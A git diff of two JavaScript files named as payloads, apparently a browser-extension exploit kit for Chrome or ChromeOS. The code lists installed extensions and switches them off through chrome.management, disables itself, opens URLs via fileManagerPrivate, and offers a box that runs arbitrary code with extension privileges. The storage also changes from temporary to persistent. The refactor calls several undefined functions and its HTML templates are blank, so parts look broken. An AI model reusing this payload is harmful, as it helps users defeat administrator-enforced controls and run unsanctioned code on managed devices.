diff --git a/payload.mjs b/payload.mjs
index 41480cd..d8c5733 100644
--- a/payload.mjs
+++ b/payload.mjs
@@ -53,7 +53,7 @@
// w.setTimeout(function() {
const blob_url = new Blob(["alert(1)"], { type: "text/html" });
- w.webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, async function (fs) {
+ w.webkitRequestFileSystem(PERSISTENT, 2 * 1024 * 1024, async function (fs) {
function removeFile(file) {
return new Promise(function (resolve, reject) {
fs.root.getFile(file, { create: true }, function (entry) {
@@ -118,7 +118,7 @@
async function createAndWriteFile() {
function writeFile(filename, content) {
return new Promise((resolve) => {
- webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, function (fs) {
+ webkitRequestFileSystem(PERSISTENT, 2 * 1024 * 1024, function (fs) {
fs.root.getFile(filename, { create: true }, function (entry) {
entry.remove(function () {
fs.root.getFile(filename, { create: true }, function (entry) {
diff --git a/payloads/index.js b/payloads/index.js
index 7cd8643..1e08257 100644
--- a/payloads/index.js
+++ b/payloads/index.js
@@ -1,670 +1,538 @@
-onerror = alert;
-
-const uiTemplate = `
-
-`;
-// if (chrome.fileManagerPrivate) {
-// chrome.fileManagerPrivate.openURL();
-// }
-const managementTemplate = `
-
-
-
chrome.management Disable Extensions
-
this funny was granted by the members of silly goober money gang
-
we love casting fun times
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-`;
-let savedExtList = [];
-const slides = [];
-let activeSlideIdx = 0;
-const handleCallbacks_ = [];
-const WAIT_FOR_FINISH = 1;
-requestAnimationFrame(function a(t) {
- for (const cb of handleCallbacks_) {
- let m;
- if ((m = cb.f.apply(null, [t - cb.t]))) {
- if (m === 1) {
- return;
- } else {
- handleCallbacks_.splice(handleCallbacks_.indexOf(cb), 1);
+// utils
+const utils = {
+ handleInAnimationFrame: (cb, thiz = null, args = []) => {
+ const handleCallbacks_ = [];
+ handleCallbacks_.push({
+ f: cb,
+ t: performance.now(),
+ });
+
+ requestAnimationFrame(function animate(t) {
+ for (const cb of handleCallbacks_) {
+ let m = cb.f.apply(null, [t - cb.t]);
+ if (m === 1) return;
+ if (m) handleCallbacks_.splice(handleCallbacks_.indexOf(cb), 1);
}
- }
- }
- requestAnimationFrame(a);
-});
-const handleInAnimationFrame = (cb, thiz = null, args = []) => {
- handleCallbacks_.push({
- f: cb,
- t: performance.now(),
- });
+ requestAnimationFrame(animate);
+ });
+ },
+
+ getFS: () => {
+ return new Promise((resolve) => {
+ webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, resolve);
+ });
+ },
+
+ writeFile: async (fs, file, data) => {
+ return new Promise((resolve, reject) => {
+ fs.root.getFile(file, { create: true }, (entry) => {
+ entry.remove(() => {
+ fs.root.getFile(file, { create: true }, (entry) => {
+ entry.createWriter((writer) => {
+ writer.write(new Blob([data]));
+ writer.onwriteend = resolve.bind(null, entry.toURL());
+ });
+ });
+ });
+ });
+ });
+ },
};
-class ExtensionCapabilities {
- static setupSlides(activeidx = 0) {
- if (chrome.management) {
- slides.push(document.querySelector("#chrome_management_disable_ext"));
- }
- slides.push(document.querySelector("#ext_default"));
- for (let i = 0; i < slides.length; i++) {
- if (i === activeidx) {
- slides[i].style.display = "block";
- } else {
- slides[i].style.display = "none";
+// templates
+const templates = {
+ managementTemplate: `
+
+
Chrome Management: Disable Extensions
+
This functionality was granted by the members of silly goober money gang
+
We love casting fun times
+
+
+
+
+
+ `,
+
+ defaultExtensionTemplate: `
+
+
+
Default Extension Capabilities
+
Evaluate code
+
+
+
+
+
+
+
+
+ `,
+
+ fileManagerPrivateTemplate: `
+
+
+
+
+
+ `,
+
+ htmlStyle: `
+
+ `,
+};
+
+// extensionManager
+class ExtensionManager {
+ constructor() {
+ this.extlist_element = null;
+ this.savedExtList = [];
}
-}
-class HostPermissions {
- activate() {}
-}
-function createExtensionCard(name, id, enabled, icon_url) {
- const li = document.createElement("li");
- li.className = "extension-card";
- li.innerHTML = `
+
+ createExtensionCard(name, id, enabled, icon_url) {
+ const li = document.createElement("li");
+ li.className = "extension-card";
+ li.innerHTML = `
${name} (${id})
- `;
- return li;
-}
-function updateExtensionStatus(extlist_element) {
- return new Promise(function (resolve, reject) {
- extlist_element.innerHTML = "";
- chrome.management.getAll(function (extlist) {
- const ordlist = [];
- let e = 0;
- extlist.forEach(function (e) {
- if (e.id === new URL(new URL(location.href).origin).host) {
- return;
- }
- ordlist.push(e);
+ `;
+ return li;
+ }
- const icon = e.icons.find((ic) => ic.size === 128) ?? e.icons.at(-1);
+ async updateExtensionStatus() {
+ this.extlist_element.innerHTML = "";
+ return new Promise((resolve) => {
+ chrome.management.getAll((extlist) => {
+ extlist.forEach((e) => {
+ if (e.id === new URL(new URL(location.href).origin).host) return;
+
+ const icon = e.icons.find((ic) => ic.size === 128) ?? e.icons.at(-1);
+ let card = this.createExtensionCard(e.name, e.id, e.enabled, icon.url);
+
+ let cardInput = card.querySelector("input");
+ cardInput.addEventListener("change", (event) => {
+ chrome.management.setEnabled(e.id, event.target.checked);
+ });
- let card = createExtensionCard(e.name, e.id, e.enabled, icon.url);
-
- let cardInput = card.querySelector("input")
+ card.querySelector(".extension-icon").addEventListener("click", () => {
+ cardInput.checked = !cardInput.checked;
+ cardInput.dispatchEvent(new Event('change'));
+ });
- cardInput.addEventListener("change", (event) => {
- chrome.management.setEnabled(e.id, event.target.checked);
- // setTimeout(function () {
- // updateExtensionStatus(extlist_element);
- // }, 200);
+ this.extlist_element.appendChild(card);
});
-
- card.querySelector(".extension-icon").addEventListener("click", () => {
- cardInput.checked = !cardInput.checked;
- cardInput.dispatchEvent(new Event('change'));
- })
-
- // const itemElement = document.createElement("li");
- // itemElement.textContent = `${e.name} (${e.id}) `;
- // const aElem = document.createElement('a');
- // aElem.href = "javascript:void(0)";
- // aElem.innerText = `${e.enabled ? "enabled" : "disabled"}`;
- // aElem.onclick = function () {
- // // alert(e.enabled);
- // chrome.management.setEnabled(e.id, !e.enabled);
- // setTimeout(function () {
- // updateExtensionStatus(extlist_element);
- // }, 200);
- // }
- // // e++;
- // itemElement.appendChild(aElem);
- extlist_element.appendChild(card);
+ this.savedExtList = extlist;
resolve();
});
- savedExtList = ordlist;
});
- });
-}
-const fileManagerPrivateTemplate = `
-
-
-
-
-
-
-`;
-const htmlStyle = ``;
-onload = async function x() {
- let foundNothing = true;
+async function initialize() {
document.open();
- this.document.write(htmlStyle);
+ document.write(templates.htmlStyle);
+ document.close();
+
if (chrome.fileManagerPrivate) {
- // alert(1);
chrome.fileManagerPrivate.openURL("data:text/html,Hello
");
- document.write(fileManagerPrivateTemplate);
- document.body.querySelector("#btn_FMP_openURL").onclick = function (ev) {};
+ document.write(templates.fileManagerPrivateTemplate);
+ document.body.querySelector("#btn_FMP_openURL").onclick = () => {};
}
- if (chrome.management.setEnabled) {
- this.document.write(managementTemplate);
- // createStyleTag();
- const extlist_element = document.querySelector(".extlist");
- await updateExtensionStatus(extlist_element);
- const container_extensions = document.body.querySelector(
- "#chrome_management_disable_ext"
- );
- // alert("loading button");
- // alert(container_extensions.querySelector("button"));
-
- container_extensions.querySelector("#current-extension").onclick =
- async function df(e) {
- try {
- var grabidtokill = chrome.runtime.id;
- chrome.management.setEnabled(grabidtokill, false);
- } catch {
- alert("unsuccessful");
- }
- };
-
- document.querySelector("#code-run").addEventListener("click", async () => {
- const codeTextarea = document.querySelector("#code");
- const code = codeTextarea.value;
-
- const outputDiv = document.querySelector("#code-output");
- try {
- const originalLog = console.log;
- console.log = (...args) => {
- outputDiv.innerHTML += args.join(" ") + "
";
- };
-
- const fs = await DefaultExtensionCapabilities.getFS();
- function writeFile(file, data) {
- return new Promise((resolve, reject) => {
- fs.root.getFile(file, { create: true }, function (entry) {
- entry.remove(function () {
- fs.root.getFile(file, { create: true }, function (entry) {
- entry.createWriter(function (writer) {
- writer.write(new Blob([data]));
- writer.onwriteend = resolve.bind(null, entry.toURL());
- });
- });
- });
- });
- });
- }
-
- const url = await writeFile("src.js", code);
- let script =
- document.body.querySelector("#evaluate_elem") ??
- document.createElement("script");
- script.remove();
- script = document.createElement("script");
- script.id = "evaluate_elem";
- script.src = url;
- document.body.appendChild(script);
-
- console.log = originalLog;
- } catch (error) {
- outputDiv.innerHTML = `Error: ${error.message}`;
- }
- });
-
- // container_extensions.querySelector("#toggler").onclick = async function dx(e) {
- // // open();
- // container_extensions.querySelector("#toggler").disabled = true;
-
- // let id = container_extensions.querySelector(".extnum").value;
- // container_extensions.querySelector(".extnum").value = "";
- // try {
- // id = parseInt(id);
- // } catch {
- // return;
- // }
- // if (!savedExtList[id - 1]) {
- // alert("Select extension from list!");
- // container_extensions.querySelector("#toggler").disabled = false;
- // return;
- // }
- // await new Promise(function (resolve) {
- // chrome.management.setEnabled(
- // savedExtList[id - 1].id,
- // !savedExtList[id - 1].enabled,
- // resolve,
- // );
- // });
-
- // container_extensions.querySelector("#toggler").disabled = false;
- // await updateExtensionStatus(extlist_element);
- // };
- // container_extensions.querySelector("#toggler").disabled = false;
+ if (chrome.management.setEnabled) {
+ const extensionManager = new ExtensionManager();
+ await extensionManager.initialize();
}
- const otherFeatures = window.chrome.runtime.getManifest();
- const permissions = otherFeatures.permissions;
new DefaultExtensionCapabilities().activate();
- document.close();
- ExtensionCapabilities.setupSlides();
-};
+
+ document.body.insertAdjacentHTML("beforeend", ``);
+ document.querySelector("#code-run").addEventListener("click", () => runCode(false));
+}
+
+window.onload = initialize;
\ No newline at end of file